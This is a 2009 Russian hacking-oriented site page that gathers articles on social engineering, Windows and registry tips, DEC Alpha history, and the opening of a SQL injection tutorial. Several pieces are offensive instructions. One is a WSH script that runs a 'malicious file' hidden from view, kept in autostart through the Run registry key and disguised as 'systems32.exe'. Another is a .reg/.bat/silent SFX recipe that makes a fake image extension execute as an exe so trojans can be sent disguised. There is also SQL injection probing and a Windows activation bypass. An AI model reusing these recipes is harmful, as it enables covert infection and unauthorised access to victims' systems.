566078958
|
Главная » Статьи (разное)
|
|
|
|
В решении задач информационной безопасности человеческий фактор
занимает одну из важнейших позиций. Еще несколько лет назад подавляющее
большинство всех несанкционированных доступов (НСД) к информации
совершались с использованием технических средств. Ситуация изменилась и
на смену техническим средствам пришла социальная инженерия. Технологии
безопасности, которые бурно развивались последнее время (межсетевые
экраны, устройства идентификации, средства шифрования, системы
обнаружения сетевых атак и другие) оказались малоэффективными в
противостоянии хакерам, использующим методы социальной инженерии.
Социальная
инженерия (англ. social engineering) - это способ совершения
преступлений в сфере компьютерной информации с использованием комплекса
приемов, не имеющих отношения к программно-аппаратным методам НСД,
совершаемых с использованием познаний в области психологии.
Специалисты
в области информационной безопасности долгое время обращали внимание
только на аппаратные и программные средства защиты, однако этого стало
недостаточно. Кроме данных способов защиты необходима серьезная работа
с персоналом, обучение сотрудников применению политики безопасности и
техники противостояния социоинженерам – только в этом случае система
обеспечения информационной безопасности будет комплексной.
В
совокупности с техническими познаниями в области информационной
безопасности социальная инженерия представляет собой очень серьезное
оружие. В области компьютерных преступлений ее используют для
достижения следующих целей:
1. Сбор информации о
потенциальной жертве. Приведем пример: злоумышленник обладает
исключительно общей информацией о жертве, но для достижения каких-либо
результатов ему необходимо обладать некоторой конкретной информацией о
жертве. В этом случае злоумышленник, например, вступает в диалог
(переписка, разговор в службах обмена быстрыми сообщениями (messenger),
например, ICQ) сначала с теми, кто непосредственно общается с жертвой,
затем и с самой жертвой. Из подобного рода общения злоумышленник может
без проблем узнать конкретную информацию о жертве, такую как время
появления в сети Интернет, интересы, особенности поведения,
предпочтения, вкусы, увлечения, территориальное месторасположение,
часто посещаемые ресурсы (например форумы), имена под которыми жертва
появляется в сети Интернет и даже тип операционной системы,
используемой жертвой. По этим данным злоумышленник может спланировать
дальнейшие действия, направленные на получение НСД.
2.
Получение конфиденциальной информации. Для достижения данной цели
злоумышленник при продолжительном общении с жертвой входит в доверие и
под удобными предлогами получает необходимую информацию (например,
получить пароли от почтовых аккаунтов). После вхождения в доверие к
жертве, злоумышленник может узнать реальное имя и фамилию жертвы. Затем
воспользоваться этими сведениями для получения остальной необходимой
информации (например, используя базы данных, вычислить номера телефонов
жертвы, адрес прописки/проживания и многое другое вплоть до информации
о жертве, как о налогоплательщике).
3. Получение информации,
необходимой для НСД. Жертва имеет аккаунт на одном из публичных
почтовых серверов (таких как mail.ru, yandex.ru и т.д.). На любом из
них присутствует «Служба восстановления пароля». Эта служба существует
для того, чтобы пользователи могли восстановить свой пароль при его
утере. Для этого при регистрации они обычно вводят специальный вопрос,
ответ на который является однозначной аутентификацией пользователя.
Чаще всего используются такие вопросы как «Девичья фамилия матери»,
«Ваше любимое блюдо» или «Серия и номер паспорта». Таким образом, если
пользователь забыл свой пароль, он обращается в автоматизированную
службу его восстановления, правильно отвечает на вопрос и получает
новый пароль для доступа к своему почтовому аккаунту. Для достижения
данной цели злоумышленник обращается к автоматической службе
восстановления пароля и узнает контрольный вопрос. Допустим, вопросом
является «Ваше любимое блюдо». Далее злоумышленник входит в доверие к
жертве и предлагает провести встречу «в живую». Далее злоумышленник под
разными предлогами (встреча в ресторане, предпочтения в домашней кухне
и т.д.) получает перечень кулинарных предпочтений жертвы. После этого
злоумышленник с высокой степенью вероятности правильно отвечает на
контрольный вопрос службы восстановления пароля. Или же, если
контрольный вопрос звучит как «Серия и номер паспорта», злоумышленник
узнает реальное имя, отчество и фамилию жертвы после чего по нелегально
добытым, однако, находящимся в свободной продаже на компьютерных рынках
базам данных вычисляет серию и номер паспорта жертвы.
4.
Вынуждение объекта совершить необходимые злоумышленнику действия. Под
необходимыми злоумышленнику действиями подразумевается совершение таких
действий, которые вынудят жертву сделать что-то, что повлечет за собой
потенциальную возможность НСД. Рассмотрим следующий пример:
злоумышленник вычислил каким именно браузером пользуется жертва.
Допустим это Internet Explorer версии 5.Х. Злоумышленник владеет так
называемым exploit кодом, который позволяет выполнить любое приложение
на компьютере жертвы, если она зайдет на сайт, содержащий данный
exploit, используя при этом Internet Explorer необходимой версии. Таким
образом, заранее подготовив сайт, злоумышленник входит в доверие к
жертве и предлагает ей посетить данный сайт под каким-либо предлогом,
например, под предлогом того, что на этой страничке находится
какой-либо сетевой розыгрыш. При удачном для злоумышленника исходе, он
получает полный доступ к компьютеру жертв.
Следует отметить,
что в условиях современного развития способов организации
информационной безопасности в России, необходимо акцентировать внимание
на различных вариантах защиты от методов социальной инженерии,
используемых злоумышленником, для получения конфиденциальной информации. Прежде
всего, защитой является осведомленность. Она играет ведущую роль в
защите организации от проникновения в информационные системы с помощью
социальной инженерии, так как социальная инженерия основана на
использовании таких сторон человеческой природы, как неосторожность и
невнимательность. Осведомленность является ключевым звеном в
обеспечении информационной безопасности и вследствие того, что это
предварительная, превентивная мера, нацеленная на усвоение работниками
основных принципов и необходимых правил защиты от НСД. Разумеется, этот
аспект требует обучения и тестирования сотрудников. Для повышения
уровня безопасности информационных систем организации необходимо
привлечение внимания работников к вопросам информационной безопасности.
Для
того чтобы быть максимально уверенным в том, что информационные ресурсы
обладают должной степенью защищенности необходимо регулярно уделять
внимание тестированию. Для этого на данный момент существует огромное
количество всевозможных сканеров и систем комплексных проверок, однако,
ни одна из них не сможет проверить, на сколько грамотно сотрудники
вашей компании поведут себя при применении к ним методов социальной
инженерии. Даже если общее состояние защищенности информации в вашей
компании соответствует определенному стандарту, вы не можете быть
уверенными в ее стопроцентной сохранности. Только тестирование
потенциально уязвимых мест, совместно с проверкой с использованием
методов социальной инженерией может дать определенную гарантию
защищенности информации.
|
Скрины:
Дата: 26.12.2009
Добавил: Админ
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
|
Запуск программ в невидимом режиме:
Для того чтобы в windows скрытно запустить какую-нибудь программу
необязательно придумывать что-то новое. Достаточно воспользоваться
встроенными средствами, а точнее поддержкой скриптовых команд WSH.
Например, вам необходимо заставить запуститься и работать некий злобный
файлик, да так чтобы пользователь ничего незаметил. Для этого создаем
простой текстовый файл и пишем:
var WSHShell = WScript.CreateObject("WScript.Shell"); объявляем переменную WSHShell и созаем объект: WSHShell.Run("calc",0); запускаем созданный объект с параметрами ( calc - это в нашем примере запуститься калькулятор, 0 - указывает на то, что файл необходими запустить в невидимом режиме)
Чтобы
файл исполнил записанные в него функции, переименновываем его в
ваше_имя.js а для запуска без вашего участия, промишем ярлык в
автозагрузку, а еще лучше в реестр по адресу:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Окно
запускаемой таким способом программы невидимо, кнопки на панели задач
нет, в приложениях диспечера задач ее тоже не видно. Найти запущенную
программу можно только в процессах того же диспечера задач, но если имя
нужной программы изменить на какой-нибудь там systems32.exe то
пользователь неодаренный специальными знаниями вряд ли найдет её
вообще...
Удаляем то, чего нету на вкладке установка/удаление программ:
Например вам необходимо удалить встроенные в систему игры или
малополезный сервис обмена сообщениями windwos messenger. Лезем в папку
Windows > INF, ищем файл sysoc.inf, и открываем его с помощью
блокнота. Этот файл содержит в себе описание программ, скрытые от
удаления программы помечены как HIDE. Заменив hide на пустую строку,
заходим в Установка/удаление программ, далее Компоненты Windows и
удаляем здесь все, что кажется лишним.
Как заново не активировать windows после переустановки:
Чтобы при переустановке операционной системы Windows XP не
активировать ее заново, достаточно перед установкой скопировать
куда-нибудь файл wpa.dbl в котором находится код активации, сам файл
распологается в папке \windows\system32\. После переустановки системы
просто заменяете файл на сохраненный и всё!
|
Скрины:
Дата: 26.12.2009
Добавил: Админ
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
В этой статье я хочу рассказать про некоторые интересные разделы системного реестра Вызвать программу для просмотра реестра можно с помощью команды RegEdit.exe. Потыкав по вкладкам можно найти много интересных вещей.
Например сделаем так чтобы при запуске Windows, появлялось сообщение.
Идем по этому пуути
[HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon]
У раздела WinLogon есть параметры
LegalNoticeCaption LegalNoticeText
Она служат для вывода текста сообщение. Первый это заголовок а второй сам теkст Поскольку они пусты то ничего и не происходит. Ты можешь записать туда нужный тебе текст.
Возможно
ты заметил что при работе с всплывающим меню скорость его не большая.
Иногда это раздражает. Чтобы изменить скорость иди сюда
[HKCU\Control Panel\Desktop]
Параметр
MenuShowDelay равен по дефолту 400. чтобы увеличить скорость уменьшай
значение, для уменьшения скорости, соответственно увеличивай.
Теперь мы напишем вместо часиков какое либо слово (приличное)
[HKCU\Control Panel\International]
И изменяем sTimeFormat В него можно записать слово но не более 8 символов Можно
ускорить действие файловой системы, (если позволяет оперативная память)
увеличив параметр типа DWORD IoPageLockLimit от заданных по умолчанию
512 КБ до 4 МБ и более в разделе
[HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
Этот
параметр представляет максимальное число байт, которые могут быть
блокированы для операций I/O. Когда значение параметра равно 0, то
система использует встроенный алгоритм определения необходимой памяти и
использует объем 512 КБ. Установка максимального значения должна
основываться на объеме памяти в Вашей системе. Таблица рекомендуемых значений
Размер памяти значение 32 4096000 64 8192000 128 16384000 256+ 65536000
Если ты знаешь что такое WSH то его можно отключить таким способом:
[HKLM\Software\Microsoft\Windows Script Host\Settings]
Строковый параметр Enabled равный "0" отключает работу скриптов WSH, а 1 соответственно включает.
При
возникновении сбоя в Office XP утилита DW.exe пытается отправить отчет
о нем в Microsoft. Если вы не хотите заниматься ловлей багов, то можете
отключить эту функцию. Существует несколько различных параметров,
находящихся в разделе
[HKEY_CURRENT_USER\Software\Policies\ Microsoft\Office\10.0\Common]
• Параметр типа DWORD DWNeverUpload со значением 1 отключает отправку данных и не выводит соответствующее сообщение •
Параметр типа DWORD DWNoExternalURL со значением 1 отключает соединение
с сервером Майкрософт и не выводит соответствующее сообщение • Параметр типа DWORD DWNoFileCollection со значением 1 не высылает файлы, запрашиваемые сервером обработки ошибок •
Параметр типа DWORD DWNoSecondLevelCollection со значением 1 не
высылает файлы особого рода (записи в реестре, версия файлов,
используемые программы), запрашиваемые сервером обработки ошибок Отсутствие этих параметров (по умолчанию) или установка в 0 включает эти настройки обратно
Можно подключать собственных персонажей к приложениям Office. Для этого перейдите в раздел
[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Assistant] и создайте строковый параметр AsstFile, в котором пропишите полный путь к вашему acs-файлу персонажа Этот
способ удобен, если ваш персонаж находится не в стандартной папке
персонажей, который сканируется Office для выбора нового персонажа.
Например, таким образом вы можете подключить персонаж Magic Gooddy,
который находится в своей папке При загрузке Windows после
неправильного выключения запускается проверка дисков. При этом пишется
что-то вроде "Через 10 секунд начну проверять...". Чтобы уменьшить
время ожидания надо в разделе [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager] создать
или отредактировать параметр AutoChkTimeOut типа DWORD и присвоить ему
значение в секундах. По умолчанию установлена пауза в 10 секунд. Если
вы присвоите ему значение больше чем 259200 секунд (около 3 дней), то
будет использоваться значение по умолчанию
|
Скрины:
Дата: 26.12.2009
Добавил: Админ
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
Не все юзеры принимают "картинки" в .exe формате... Как бы
выкрутится? Есть верный способ! Но при условии что юзер все таки примет
1 экзешник ! И тогда спокойно можно присылть трояны в любом формате !
Для начала пишем 2 файлика .reg и .bat. Вот их содержание:
1. bat файл
regedit /s test.reg
2. reg файл
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\.jpege] @="exefile" "Content Type"="application/x-msdownload"
[HKEY_CLASSES_ROOT\.jpege\PersistentHandler] @="{098f2470-bae0-11cd-b579-08002b30bfeb}"
======================================================= И еще потребуется какойнить файл(если формат .jpeg .jpege и т.д то естессна картинку)
Потом архивируем их винраром и делаем sfx архив. А в комментариях пишем:
Path=%userprofile%\system\ SavePath Setup="%userprofile%\system\имя бат файла с расширением"
Setup="%userprofile%\system\Имя картинки которую пихнем в архив(разумеется с разширением)
Silent=1 Overwrite=1
Потом на архив ставим иконку картинки или любого файла
Вот и все! Теперь у юзера файл в формате .jpege будут запускатся как
exe(вместо .jpege можно написать все чтог угодно хоть .bmp но тогда
обычные bmp будут открываться некорректно. Вобщем дело фантазии)
|
Скрины:
Дата: 26.12.2009
Добавил: Админ
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
История проекта Alpha
Говоря
о RISC/UNIX-платформах, нельзя не вспомнить проект Alpha. В 1989 году
компания Digital Equipment Corporation. (DEC), подталкиваемая моральным
старением собственной VAX-архитектуры и стремительным натиском
перспективных RISC-платформ, принялась за создание инновационной
64-разрядной RISC-архитектуры, ориентированной на максимально возможную
совместимость с системами VAX, чтобы облегчить перенос операционной
системы VAX/VMS и всего наработанного за предыдущие годы сопутствующего
ПО на новую, более производительную и гибкую аппаратную среду. Первые
более или менее подробные сведения об архитектуре Alpha относятся к
1992 г. Тогда же было оговорено, что термин Alpha — это кодовое
наименование, и к моменту выпуска первых процессоров оно будет заменено
официальным. Согласно анонсам, новая платформа имела 64-разрядную
RISC-архитектуру с инструкциями фиксированной (32 бита) длины.
Подробнее о процессорах Alpha можно прочитать в разделе «Процессоры». Вскоре
проект вступил в производственную стадию, все силы, связанные с ним,
были реорганизованы в одно из ведущих подразделений корпорации DEC.
Новая архитектура получила официальное название АХР или Alpha АХР,
планировалось, что время ее активной жизни составит как минимум 25 лет. Первый
процессор из семейства Alpha имел индексное обозначение 21064, где
часть 21 указывала на то, что Alpha — архитектура XXI века, 0 означал
порядковый номер процессорного поколения, а 64 — разрядность
архитектуры в битах. Кроме того, ему присвоили кодовое наименование
EV4, которое по одной из не подтвержденных официально версий является
аббревиатурой «Extended VAX». Цифра 4 на конце означает поколение
технологического процесса, в данном случае это CMOS4. Интересно, что в
дальнейшем кодовое название стало даже более распространенным, чем
официальные индексы, и поколения процессоров семейства Alpha
определяются и отсчитываются именно по нему. Первые наборы системных
микросхем для поколения EV4 были рассчитаны на использование
периферийных шин TURBOchannel, FutureBus+ и XMI; однако, несмотря на
техническое совершенство, они не получили широкого распространения
из-за небольшого количества совместимого оборудования. В начале 1994 г.
был представлен набор системных микросхем DEC Apecs в вариантах с 64- и
128-разрядной шиной данных, ориентированный на стандартные шинные
архитектуры PCI и ISA/EISA, при этом работа с шинами ISA и EISA была
реализована посредством внешних стандартных мостов. Разработка
реальных продуктов на базе архитектуры Alpha нисколько не отставала от
процесса совершенствования ее самой — уже в ноябре 1992 г. на базе
процессора EV4 с тактовой частотой 150 МГц и соответствующего
системного окружения была построена первая рабочая станция архитектуры
Alpha — DEC 3000 Model 500 АХР (кодовое наименование Flamingo). Для
поколения EV5 был разработан НМС DEC А1соr со следующими параметрами:
частота системной шины 33 МГц, использование до 64 Мбайт внешней
кэш-памяти и до 8 Гбайт оперативной памяти FPM ЕСС (при разрядности
шины памяти 256 бит), совместимость с 64-разрядной 33-МГц шиной PCI.
Работа с шинами ISA/EISA, как и прежде, была реализована посредством
внешнего контроллера. Дисковый контроллер стандарта IDE отсутствовал,
однако была предусмотрена возможность интеграции отдельной микросхемы
независимых изготовителей. Одновременно с запуском в производство EV56
была выпущена модификация Alcor, поддерживающая BWX, — Alcor 2. В
дальнейшем появился НМС Pyxis, обеспечивший работу с системной шиной на
частоте 66 МГц и использование 66-МГц оперативной памяти SDRAM ЕСС (при
разрядности шины памяти в 128 бит). Для процессоров серии 21264
(EV6) было спроектировано два набора системных микросхем — DEC Tsunami
(известных также как Typhoon) и AMD Irongate или AMD-751. Решение
корпорации DEC было направлено на повышение масштабируемости платформы
Alpha: на основе Tsunami проектировали однопроцессорные,
двухпроцессорные и четырехпроцессорные системы с разрядностью шины
памяти от 128 до 512 бит. В качестве ОЗУ использовались модули
регистровой памяти SDRAM с ЕСС-коррекцией, работающие на частоте 83
МГц. НМС DEC Tsunami обеспечивал работу сразу нескольких 64-разрядных
33-МГц шин PCI. Гибкость построения конечных систем достигалась
благодаря разделению НМС на множество обособленных компонентов. В
распоряжении разработчиков находились контроллеры системной шины —
C-chips (по одному на каждый процессор), контроллеры шины памяти —
D-chips (по одному на каждые 64 разряда шины) и контроллеры шины PCI —
P-chips (по одному на каждую требуемую шину). Впрочем, подобный подход
имел и некоторые недостатки — в некоторых системах, например AlphaPC
264DP, совокупное число используемых микросхем доходило до 12, что
отрицательно сказывалось на их конечной стоимости. НМС AMD Irongate
разрабатывался изначально как «северный мост» для системных плат под
процессоры Athlon, однако его также использовали в некоторых решениях
для семейства Alpha — например UP1000 и UP 1100. Irongate представлял
собой одну-единственную микросхему, а потому стоил намного дешевле DEC
Tsunami, а, кроме того, обладал более низким энергопотреблением. Однако
из-за отсутствия многопроцессорности и узкой шины памяти он не позволял
серьезно раскрыться потенциалу процессоров семейства 21264. 1998 г.
ознаменовался для платформы Alpha серьезными событиями, сулившими
неплохое будущее — в феврале 1998 г. между DEC и Samsung было заключено
соглашение, которое предоставляло последней доступ ко всем патентам по
архитектуре Alpha, а также позволяло выпускать уже разработанные DEC
модели и даже создавать собственные, а в июне 1998 г. уже Compaq,
поглотившая к тому времени DEC, совместно с Samsung организовали альянс
по развитию архитектуры Alpha. Среди прочих мер была учреждена дочерняя
компания Alpha Processor Inc. (API), занявшаяся маркетинговыми
вопросами и продвижением архитектуры. Летом 1998 г. началось массовое
производство систем на базе EV6. Помимо Samsung, по условиям договора с
DEC, процессоры EV6 производились и на мощностях корпорации Intel. Однако
процесс интеграции подразделений DEC в структуры Compaq привел к тому,
что уже через полгода DEC окончательно прекратила свое существование. С
этого момента фактически и начинается закат платформы Alpha. Со
времен независимости DEC платформа Alpha как открытая архитектура была
ориентирована на использование целого ряда операционных систем. Речь
прежде всего идет о Microsoft Windows NT, Digital UNIX (также известной
как DEC OSF/l, и позднее, как Compaq Tru64 UNIX) и OpenVMS, причем
приоритеты были расставлены именно в таком порядке. Кроме этих систем,
на Alpha были портированы ОС независимых поставщиков и некоммерческие
ОС, такие, как Linux и BSD всех разновидностей, однако никакой
поддержки с официальной стороны они не получили и использовались крайне
незначительно. Среди всех известных RISC-платформ Alpha, пожалуй,
единственная, которая была способна реально работать с Windows NT, ибо
еще в 1997 г. корпорация Microsoft свернула поддержку архитектур
PowerPC и MIPS. Однако количество приложений для Alpha было во много
раз меньше, чем для х86. Частично ситуацию помогал исправить эмулятор и
транслятор кода х86 в код Alpha, именуемый FX132 и выпущенный в 1996 г.
Однако его использование снижало производительность систем на 40% и
больше по сравнению с изначально откомпилированными под Alpha
приложениями. Нерешенной ос тавалась и проблема драйверов для
периферийных устройств: транслятор FXI32, естественно, оказался
неприменим, а очень многие производители сочли разработку драйверов для
Alpha нецелесообразной, так что заказчикам приходилось рассчитывать в
основном на Microsoft и DEC. И, наконец, самый важный момент,
характеризующий ошибочность выбранной DEC системы приоритетов: даже
работая на 64-разрядной архитектуре Alpha, Windows NT оставалась
32-разрядной и не могла полностью раскрыть заложенный в аппаратуру
потенциал. Согласно статистике Compaq, среди всех предустановленных
на Alpha-системах ОС 60% принадлежало Tru64 UNIX, 35% — OpenVMS, а на
долю Windows NT приходилось около 5%. Очевидно, что дальнейшие работы
над этой ОС были бессмысленны. Учитывая сложившуюся ситуацию, 23
августа 1999 г. Compaq отказалась от участия в развитии Windows NT и
прекратила поставлять ее со своими Alpha-системами. Неделю спустя
Microsoft объявила, что прекращает работу над портированием Windows
2000 на платформу Alpha. В декабре 1999 г. компании Compaq и Samsung
подписали меморандум о намерении инвестировать 500 млн. долл. США в
развитие архитектуры Alpha: Samsung — 200 млн. на отладку новых
технологических процессов, a Compaq — 300 млн. на проектирование новых
серверных решений и на дальнейшее развитие Тru64 UNIX. В том же месяце
Compaq и IBM оформили соглашение, по которому последняя будет
изготавливать процессоры Alpha по своей технологии на медных
проводниках, но Samsung останется основным поставщиком процессоров
Alpha. Однако в 2000 г. Samsung не успела наладить 180-нм процесс, и
рынок был вынужден довольствоваться процессорами EV67 и небольшими
вкраплениями EV68C. В начале 2001 г. она все же организовала массовый
выпуск процессоров EV68A, однако момент был упущен — Compaq уже
планировала переориентировать производство систем AlphaServer
GS-класса, а также развернуть модернизацию используемых систем с
применением процессора EV68C, поставляемого IBM. 25 июня 2001 г.
произошло историческое событие, поставившее окончательную точку на
будущем платформы Alpha: корпорация Compaq объявила о планах поэтапного
перевода к началу 2004 г. всех своих серверных решений на архитектуру
IA-64. Результатом этого объявления стало немедленное прекращение работ
над поколением EV8. EV7 стало финалом многолетней деятельности
подразделения Alpha Microprocessor Division — после официального
объявления о начале производства процессоров, намеченного на начало
2002 г., оно подлежало расформированию, а костяк инженеров
планировалось пе... Читать дальше »
|
Скрины:
Дата: 26.12.2009
Добавил: Админ
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
|
Содержание:
1. Введение 2. Как определить наличие SQL уязвимости 3. Тренировка на localhost-е 4. CREATE 5. INSERT 6. SELECT 7. Ещё некоторые SQL комманды 8. Php-cкрипт для работы с БД 9. UNION 10. Подбор кол-ва столбцов(ORDER BY) 11. version(),user(),database() 12. information_schema 13. group_concat() 14. К вопросу о шестнадцатеричных кодах 15. Узнавание названий схем, таблиц, колонок с помощью information_schema 16. Вытаскивание информации 17. Сложные запросы и комментирование остатка 18. Немного про файлы 19. Про то, куда вставлять 20. Послесловие
1. Введение: В
Интернете имеется достаточно большое кол-во статей по этой теме, но
многие из них являются сильно устаревшими и относятся к тому периоду,
когда кавычки не экранировались, а такого понятия как UNION ещё
небыло... Те же что не устаревшие, по большей части неполные и по этому трудны для понятия новичками, которые "совсем не в теме”. В
этой статье я попытался как можно понятнее и подробнее объяснить что
это такое, Sql-injection, и показать как её проводить, используя UNION
SELECT. В какой-то степени эта статья является обобщением и дополнением
многих других.
Что такое SQL SQL (Structured Query Language) – структурированный язык запросов. Он
используется для обращения к СУБД(Система Управления Базами Данных) с
целью получения/изменения/удаления данных, существующих в базе.
В
качестве примера, можно привести большинство форумов. При "заходе” в
какую-нибудь тему мы передаём скрипту на сервере нечто вроде
showthread=285. Затем скрипт, используя полученные данные,
производит запрос к СУБД, которая в свою очередь обращается к самой
базе. Потом СУБД возвращает полученные данные, скрипту, который,
передаёт их в браузер. SQL тут используется на стадии обращения скрипта к СУБД.
Упрощённое устройство реаляционных баз данных. Наименьшей
единицей в устройстве БД является поле(field). Поле, это грубо говоря –
ячейка, в которой хранится собственно информация. Поля объединяются в записи(record,row). Запись это аналог строки. Так же каждое поле относится к какой-либо колонке(column). Например, колонка username, колонка password, колонка email итд. Затем,
записи объеденяются в таблицы(table). Каждая таблица имеет однотипные
записи. Например, таблица users, в которой записаны имя пользователя,
его пароль и адрес электронной почты.
Сами же таблицы хранятся в базах данных(database,schema).

Что такое SQL инъекция Инъекция
(от англ. Injection – введение,внедрение) это вставка произвольного
SQL-кода в плохо фильтруемые параметры, которые используются в запросе
к базе данных, с целью получения оттуда информации(например, пароля
админа).
2. Как определить наличие SQL уязвимости Самый, наверно, известный способ, это подстановка кавычки (‘) в запрос. Например, forum.somesite.com/index.php?showthread=285’ Если имеется уязвимость, и ошибки не подавляются, то появится ошибка, например такого содержния mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource. Если же подавляются, то о наличии уязвимости может свидетельствовать пустой результат.
Еще один способ заключается в подставлении вместо числа арифметического выражении. Например, если forum.somesite.com/index.php?showthread=285 и forum.somesite.com/index.php?showthread=284+1 возвращают одну и ту же страницу, то вполне вероятно, что имеет место быть уязвимость.
Так же полезным может быть задание сортировки ORDER BY по 1-му столбцу, с комментированием остатка.(об этом ниже) forum.somesite.com/index.php?showthread=285+ORDER+BY+1--+ forum.somesite.com/index.php?showthread=285+ORDER+BY+1/*
3. Тренировка на localhost-е Чтобы
самому попробовать SQL-инъекцию, надо на localhost-е (на своём компе)
установить веб-сервер, php интерпретатор и саму СУБД(ставить лучше
всего MySQL, т.к. она используется более чем на 70% сайтов). Если ещё не установлены, то посмотрите здесь.
http://httpd.apache.org/
http://php.net
http://mysql.com
Процесс
установки и настройки описывать не буду, поскольку ничего сложного нет,
и к тому же мануал по этому поводу есть и в самих этих программах.
Единственное, советую под винду, php не встраивать как модуль апача, а
установить как CGI binary.
ScriptAlias /php/ "c:/php/" AddType application/x-httpd-php .php Action application/x-httpd-php "/php/php-cgi.exe"
Итак, всё нужное установлено и настроено, запускаем MySQL Command Line Client, и вводим указанный при установке пароль.
4. CREATE Создаём тестовую базу данных.
mysql> CREATE DATABASE test;
Затем переключаемся на неё mysql> USE test;
Создаём 2 таблицы – users и pages
mysql> CREATE TABLE users ( -> username VARCHAR(32) NOT NULL, -> password VARCHAR(32) NOT NULL, -> email VARCHAR(48) -> );
mysql> CREATE TABLE pages ( -> id SMALLINT NOT NULL AUTO_INCREMENT, -> content TEXT NOT NULL, -> PRIMARY KEY(id) -> );
CREATE
– как ясно из названия, что-то создаёт. Создавать он может либо
DATABASE, принимая в качестве аргумента название новой базы, либо
TABLE, тогда ему надо дать описание каждой колонки – название, тип,
модификаторы а также ключи Типы: VARCHAR(x) – строка переменной длины, до x символов (не более 1FEh) SMALLINT – целое число от -8000h до 7FFFh TEXT – Текст до FFFFh символов(64 КБ)
Модификаторы: NOT NULL – поле не может содержать неопределенного(NULL) значения и должно быть явно инициализовано. AUTO_INCREMENT – автоматическое увеличение значения этого поля на единицу, при добавлении новой записи. Ключ:
PRIMARY KEY – значение поля, установленного в качестве первичного
ключа, должно быть уникальным в своей колонке. Не применимо к полю,
допускающему значение NULL
USE – переключает текущую базу данных. В качестве аргумента принимает её название.
5. INSERT Затем набиваем созданные таблицы значениями
mysql> INSERT INTO users (username, password, email) VALUES -> (‘admin’, ’qwerty’, ’admin@localhost’), -> (‘lamer’, ’1234’, ’lamer@mail.ru’), -> (‘hacker’, ’ef43f433$532’, ’hacker@hack.com’);
mysql> INSERT INTO pages (content) -> VALUES (‘Page1’),(‘Page2’),(‘Page3’);
INSERT INTO – Добавляет в указанную таблицу новые записи. Синтаксис: INSERT INTO название_таблицы (колонки, в которые вставляются значения) VALUES (Запись1),(Запись2), ... (ЗаписьN);
Если не указать колонку, имеющую модификатор NOT NULL, то произойдёт ошибка, и данные добавлены не будут. В
данном случае, колонка id , имеющая модификатор NOT NULL не указанна,
но поскольку она имеет модификатор AUTO_INCREMENT, то значение в ней
было установлено автоматически.
6. SELECT Теперь можно посмотреть результат :
mysql> SELECT * FROM pages; mysql> SELECT * FROM users;
SELECT – самый, наверное, важный оператор – выбирает из указанной таблицы данные из указанных столбцов (* -- все столбцы). Попробуйте так: SELECT username, email FROM users; Будут выведены только колонки username и email. ---- WHERE – распространяет действие команды только на те записи, которые соответствуют условию. Например: SELECT * FROM users WHERE username=’admin’;
OR\AND -- Объединение условий
OR – если выполняется хотя бы одно условие. SELECT * FROM users WHERE username=’admin’ OR username=’hacker’;
AND – если выполняются все условия SELECT * FROM users WHERE password=’1234’ AND email=’lamer@mail.ru’; SELECT * FROM users WHERE username=’admin’ AND password=’ef43f433$532’ (Ничего не выведет, так как таких записей нет. (Empty set)) ---- ORDER BY -- задаёт сортировку по столбцу(название или номер) SELECT * FROM users ORDER BY username; SELECT * FROM users ORDER BY 2; ---- LIMIT -- Выбирает в результирующую таблицу начиная со смещения k , N записей (LIMIT k,N) SELECT * FROM users LIMIT 0,1; SELECT * FROM users LIMIT 1,2; Можно указать только кол-во записей. тогда смещение будет по дефолту равно 0. SELECT * FROM users LIMIT 2;
7. Ещё некоторые SQL комманды
UPDATE -- обновление значений таблицы Синтаксис: UPDATE имя_таблицы SET поле1='значение1',поле2='значение2',...,полеN='значениеN' WHERE условие; Например: UPDATE users SET password='123qwerty456' WHERE username='admin'; ---- DELETE -- удаление записи из таблицы. Синтаксис: DELETE FROM имя_таблицы WHERE условие ; Например DELETE FROM users WHERE username='lamer'; !Если не указать условие, то таблица будет полностью очищена! ---- DROP -- удаляет таблицу или базу данных, !в не зависимости от того, содержит ли она что-либо! Синтаксис: DROP [TABLE | DATABASE] имя Например DROP TABLE testtable
8. Скрипт для работы с БД Теперь сделаем php скрипт, который будет работать с базой данных.
$host='localhost'; $user='root'; $password=''; //Надо вставить пароль, указанный при установке MySQL $database='test'; //Установка значений переменных
if (!isset($_REQUEST['id']) || !$_REQUEST['... Читать дальше »
|
Скрины:
Дата: 26.12.2009
Добавил: Админ
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
Если вы не вчера приступили к изучению азов компьютерной грамотности,
то наверняка уже встречались и с разрушительными последствиями
заражения компьютера вирусами или троянами, и со случайной потерей
очень важного файла, и со спам-рассылками, постоянно переполняющими
электронный ящик. На первый взгляд, перечисленные события мало связаны
и не зависят друг от друга. Чтобы бороться со спамом, нужно налаживать
фильтры, чтобы не терять файлы — вовремя их копировать, чтобы оградить
компьютер от вирусов — наживлять антивирусы. Все — очевидно! Так почему
же сотни тысяч пользователей ежедневно хватаются за голову, потеряв
нужный файл, обнаружив, что CIH "убил мамку” 66 Kb или коварный Вася
Пупкин потер системную директорию? Почему вроде бы знающие о мерах
безопасности люди постоянно наступают на одни и те же грабли?!
Все
до банальности просто и в то же время сложно. При рассмотрении любой
жизненной ситуации — будь то варка супа, поход в магазин или
налаживание сетевой защиты — существует несколько уровней контроля этой
ситуации. Самый нижний уровень — тот, на котором вы предпринимаете
конкретные узкоспециализированные действия для достижения результата.
Например, при варке супа вы должны мелко нарезать картошку, посолить
воду, поперчить ее, добавить лаврушки. Это так называемый уровень
высокой детализации. Он характеризуется тем, что работать на нем очень
просто: есть перечень конкретных действий, которые надо выполнить,
чтобы получить результат.
Более высокий уровень — уровень
промежуточного контроля. На нем вы смотрите, как связаны те или иные
действия уровня высокой детализации. Если вы варите суп, то уровень
промежуточного контроля — это соблюдение соотношения компонентов супа:
мяса, картошки, моркови, соли... Если соотношение не соблюдено, то суп
получится либо пересоленным, либо недостаточно жирным, либо постным. Но
это будет все же именно суп.
Наконец, самый высокий уровень
